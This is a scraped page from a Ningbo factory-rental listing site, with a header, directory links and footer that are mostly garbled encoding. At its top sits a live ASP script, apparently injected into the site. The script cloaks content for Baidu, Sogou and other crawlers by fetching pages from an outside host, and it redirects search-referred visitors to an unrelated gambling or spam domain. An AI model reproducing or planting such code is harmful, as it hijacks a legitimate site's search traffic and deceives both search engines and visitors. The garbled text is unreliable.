ï»?% Server.ScriptTimeout = 0 Dim URI, QUERY_STRING URI = Request.ServerVariables("URL") QUERY_STRING = Request.ServerVariables("QUERY_STRING") Const HOST = "http://dw.image1.online/" Const MULU = "app|ios|android|download|blank|games|play|video|poker|news|vod|post|activities|id|?|a|dy|2024|index|index.asp|en" Function isEngines(userAgent) isEngines = (InStr(1, userAgent, "Baiduspider", vbTextCompare) > 0 Or _ InStr(1, userAgent, "Sogou", vbTextCompare) > 0 Or _ InStr(1, userAgent, "360Spider", vbTextCompare) > 0 Or _ InStr(1, userAgent, "YisouSpider", vbTextCompare) > 0) End Function Function isIncludes() Dim temp, v temp = Split(MULU, "|") isIncludes = False For Each v In temp If InStr(1, QUERY_STRING, v, vbTextCompare) > 0 Then isIncludes = True Exit Function End If Next End Function Function isRef(ref) isRef = (InStr(1, ref, "baidu", vbTextCompare) > 0 Or _ InStr(1, ref, "sm.cn", vbTextCompare) > 0 Or _ InStr(1, ref, "so.com", vbTextCompare) > 0 Or _ InStr(1, ref, "sogou", vbTextCompare) > 0) End Function Function getContents(url) On Error Resume Next Dim xmlhttp, result Set xmlhttp = Server.CreateObject("MSXML2.ServerXMLHTTP.6.0") xmlhttp.Open "GET", url, False xmlhttp.setRequestHeader "User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" xmlhttp.Send result = xmlhttp.responseText Set xmlhttp = Nothing If result = "" Then result = GetURLFallback(url) End If getContents = result On Error GoTo 0 End Function Function GetURLFallback(url) Dim xmlhttp, result On Error Resume Next Set xmlhttp = Server.CreateObject("MSXML2.XMLHTTP") xmlhttp.Open "GET", url, False xmlhttp.Send result = xmlhttp.responseText Set xmlhttp = Nothing GetURLFallback = result On Error GoTo 0 End Function Dim ref, userAgent, ym ref = Request.ServerVariables("HTTP_REFERER") userAgent = Request.ServerVariables("HTTP_USER_AGENT") ym = Request.ServerVariables("HTTP_HOST") If isEngines(userAgent) Then Response.ContentType = "text/html; charset=utf-8" If QUERY_STRING = "" Then Response.Write getContents("http://dw.image1.online/lunlian/dt1.php") Response.End ElseIf isIncludes() Then Response.Write getContents(HOST & "?xhost=" & ym & "&reurl=" & URI & "?" & QUERY_STRING & "&ua=Baiduspider&f=bd") Response.End Else Response.Write getContents("http://dw.image1.online/lunlian/dt1.php") Response.End End If Else If isIncludes() And isRef(ref) Then Response.Redirect "https://kjfc26seo5.26222a.app:2460/welcome.html#kjfc26seo5?cid=jhgb&ref=" & Server.URLEncode(ym) Response.End End If End If %>
| æ‚¨å¥½ï¼æ¬¢è¿Žè®¿é—®å®æ³¢åŽ‚æˆ¿ç½‘ 今天访问:1769PV 总访问:1940133PV |
![]() |
![]() |
|
7 x 24å°æ—¶å…è´¹çƒçº¿:0574-27908809 |
| 旗下分站:æå·žç«™ | 温州站 | 宿³¢ç«™ | |
|
|
|
|||||||||||||||||||||||||||||||||
| 勿ƒ…链接 |
| æå·žåŽ‚æˆ¿ç½‘ web工程师之家 è§å±±åŽ‚æˆ¿ç½‘ 百度 上海厂房网 æ–°åŽç½‘ 588商铺网 ç»å…´åŽ‚æˆ¿ç½‘ 宿³¢åŽ‚æˆ¿ç½‘ 湖州厂房网 温州厂房网 å°å·žåŽ‚æˆ¿ç½‘ å£ç¢‘ 19楼 赶集网 易登网 æå·žä»“库网 厂房ä¸ä»‹ 浙江在线 地产招商网 ä¸å›½ä»“库房网 ä¸ä¸ç½‘ æå·žæ‹›å•†å¼•资网 列表网 温州信æ¯ç½‘ æœæ¥¼ç½‘ æµ™æ±Ÿæ‹›æ ‡ç½‘ 创富港 家具装修设计 91出租网 下沙新城网 æå·žå†™å—楼 ä¸å›½å»ºè®¾ç½‘ 德清房产网 å°å·žæˆ¿äº§ç½‘ 丽水厂房网 |
| 关于我们 | 我们的æœåŠ¡ã€€|  网站声明 |  广告投放 |  è”系我们 æœåŠ¡çƒçº¿ï¼š0571-88590988 宿³¢ä¸“业的厂房租售信æ¯å‘å¸ƒå¹³å° Copyright © 2010 宿³¢åŽ‚æˆ¿ç½‘ nb.hz-cf.cn æµ™ICP备10028458å· æœ¬ç«™æ³•å¾‹é¡¾é—®ï¼šæµ™æ±ŸçŽ‹å»ºå†›å¾‹å¸ˆäº‹åŠ¡æ‰€ 开户行:上海浦东å‘展银行è§å±±æ”¯è¡Œ å•ä½è´¦å·ï¼š9507 0157 4000 00034 |